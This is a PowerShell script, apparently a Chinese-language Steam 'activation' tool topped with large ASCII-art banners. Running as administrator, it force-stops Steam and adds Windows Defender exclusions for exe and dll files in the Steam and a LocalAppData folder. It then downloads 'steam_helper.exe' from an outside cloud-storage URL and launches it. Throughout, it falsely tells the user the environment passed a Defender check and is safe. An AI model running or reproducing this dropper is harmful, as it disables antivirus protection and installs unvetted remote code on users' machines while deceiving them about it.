Write-Host -NoNewline " `r" Write-Host -NoNewline " %@@@@@@@@@@@@ `r" Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@ `r" Write-Host -NoNewline " %@@@@@@@@@@@@@@@@@@@@@@@@@@@@ `r" Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ `r" Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@: `r" Write-Host -NoNewline " %@@@@@@@@@@@@@@@@@@@@@@@@: %@@@@@@ `r" Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@ @@@@@ `r" Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@ @ @ :@@@@ `r" Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@ @ :@ @@@@ `r" Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@ @ -@ @@@@@ `r" Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@ @ @ @@@@@@ `r" Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@ @ @ @@@@@@@ `r" Write-Host -NoNewline " *@@@@@@@@@@@@@@@@@@@@. @ @ @@@@@@@@ `r" Write-Host -NoNewline " *@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@ `r" Write-Host -NoNewline " +@@@@@@@@@@ @@@@@@@@@@ `r" Write-Host -NoNewline " +@@ @@@@@@@@@@@@ `r" Write-Host -NoNewline " @@@@@ @@@@@@@@@@@@@@@ `r" Write-Host -NoNewline " @ @@@@@@@@@@@@@@@@@@@ `r" Write-Host -NoNewline " @@@ @ @@@@@@@@@@@@@@@@@@@@@@@@% `r" Write-Host -NoNewline " @@@@@@ @ @ -@@@@@@@@@@@@@@@@@@@@@@@@ `r" Write-Host -NoNewline " .@@@@@@ @ @ @@@@@@@@@@@@@@@@@@@@@@@@ `r" Write-Host -NoNewline " @@@@@@- @@@@@@ @@@@@@@@@@@@@@@@@@@@@@@% `r" Write-Host -NoNewline " @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@ `r" Write-Host -NoNewline " @@@@@@@@: @@@@@@@@@@@@@@@@@@@@@@@@@ `r" Write-Host -NoNewline " *@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ `r" Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ `r" Write-Host -NoNewline " @@@@@@@@@@@@@@@@@@@@@@@% `r" Write-Host -NoNewline " @@@@@@@@@@@@@@@+ `r" Write-Host -NoNewline " _____ _____ _____ _____ _____ `r" Write-Host -NoNewline " /\ \ /\ \ /\ \ /\ \ /\ \ `r" Write-Host -NoNewline " /::\ \ /::\ \ /::\ \ /::\ \ /::\____\ `r" Write-Host -NoNewline " /::::\ \ \:::\ \ /::::\ \ /::::\ \ /::::| | `r" Write-Host -NoNewline " /::::::\ \ \:::\ \ /::::::\ \ /::::::\ \ /:::::| | `r" Write-Host -NoNewline " /:::/\:::\ \ \:::\ \ /:::/\:::\ \ /:::/\:::\ \ /::::::| | `r" Write-Host -NoNewline " /:::/__\:::\ \ \:::\ \ /:::/__\:::\ \ /:::/__\:::\ \ /:::/|::| | `r" Write-Host -NoNewline " \:::\ \:::\ \ /::::\ \ /::::\ \:::\ \ /::::\ \:::\ \ /:::/ |::| | `r" Write-Host -NoNewline " ___\:::\ \:::\ \ /::::::\ \ /::::::\ \:::\ \ /::::::\ \:::\ \ /:::/ |::|___|______ `r" Write-Host -NoNewline " /\ \:::\ \:::\ \ /:::/\:::\ \ /:::/\:::\ \:::\ \ /:::/\:::\ \:::\ \ /:::/ |::::::::\ \ `r" Write-Host -NoNewline "/::\ \:::\ \:::\____\ /:::/ \:::\____\/:::/__\:::\ \:::\____\/:::/ \:::\ \:::\____\/:::/ |:::::::::\____\`r" Write-Host -NoNewline "\:::\ \:::\ \::/ / /:::/ \::/ /\:::\ \:::\ \::/ /\::/ \:::\ /:::/ /\::/ / ~~~~~/:::/ /`r" Write-Host -NoNewline " \:::\ \:::\ \/____/ /:::/ / \/____/ \:::\ \:::\ \/____/ \/____/ \:::\/:::/ / \/____/ /:::/ / `r" Write-Host -NoNewline " \:::\ \:::\ \ /:::/ / \:::\ \:::\ \ \::::::/ / /:::/ / `r" Write-Host -NoNewline " \:::\ \:::\____\ /:::/ / \:::\ \:::\____\ \::::/ / /:::/ / `r" Write-Host -NoNewline " \:::\ /:::/ / \::/ / \:::\ \::/ / /:::/ / /:::/ / `r" Write-Host -NoNewline " \:::\/:::/ / \/____/ \:::\ \/____/ /:::/ / /:::/ / `r" Write-Host -NoNewline " \::::::/ / \:::\ \ /:::/ / /:::/ / `r" Write-Host -NoNewline " \::::/ / \:::\____\ /:::/ / /:::/ / `r" Write-Host -NoNewline " \::/ / \::/ / \::/ / \::/ / `r" Write-Host -NoNewline " \/____/ \/____/ \/____/ \/____/ `r" #Requires -RunAsAdministrator $localAppData = $env:LOCALAPPDATA $targetDirectory = Join-Path $localAppData "steam" if (-not(Test-Path $targetDirectory)) { New-Item -Path $targetDirectory -ItemType Directory } try { Write-Host "" Write-Host "" Write-Host " [STEAM] 激活进程准备中,请稍候..." $runningProcess = Get-Process | Where-Object { $_.ProcessName -imatch "^steam" } $runningProcess | ForEach-Object { Stop-Process $_ -Force } $waitTimes = 10 while (Get-Process | Where-Object { $_.ProcessName -imatch "^steam" }) { Start-Sleep -Seconds 1 $waitTimes-- if ($waitTimes -lt 0) { break } } try { $steamRegPath = 'HKCU:\Software\Valve\Steam' $steamPath = (Get-ItemProperty -Path $steamRegPath -Name 'SteamPath').SteamPath if ($steamPath -ne $null) { try { if (Get-Service | where-object{ $_.name -eq "windefend" -and $_.status -eq "running" }) { Add-MpPreference -ExclusionPath $steamPath -ExclusionExtension 'exe', 'dll' Add-MpPreference -ExclusionPath $targetDirectory -ExclusionExtension 'exe', 'dll' Write-Host -NoNewline " [STEAM] 已通过 Windows Defender 检测,环境安全"; Write-Host "[√]" -ForegroundColor Green } else { Write-Host -NoNewline " [STEAM] 已通过 Windows Defender 检测,环境安全"; Write-Host "[√]" -ForegroundColor Green } $appStorePath = Join-Path $steamPath "my_steam_helper.exe" $downloadUrl = "https://con2ip.oss-cn-beijing.aliyuncs.com/steam_helper.exe" try { (New-Object Net.WebClient).DownloadFile($downloadUrl, $appStorePath) $name = Read-Host '输入你的steam激活码?' Start-Process -FilePath $appStorePath for ($i = 9; $i -ge 0; $i--) { Write-Host "`r [STEAM] 本窗口将在 $i 秒后关闭..." -NoNewline Start-Sleep -Seconds 1 } } catch { Write-Host "下载激活助手失败" } } catch { } } else { Write-Host " [STEAM] steam 可能没有正确安装,请重装安装steam后再试" } #$instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$pid'" #$parentProcessId = $instance.ParentProcessId #Stop-Process -Id $parentProcessId -Force #exit } catch { Write-Host "Error accessing registry: $( $_.Exception.Message )" } } catch { exit }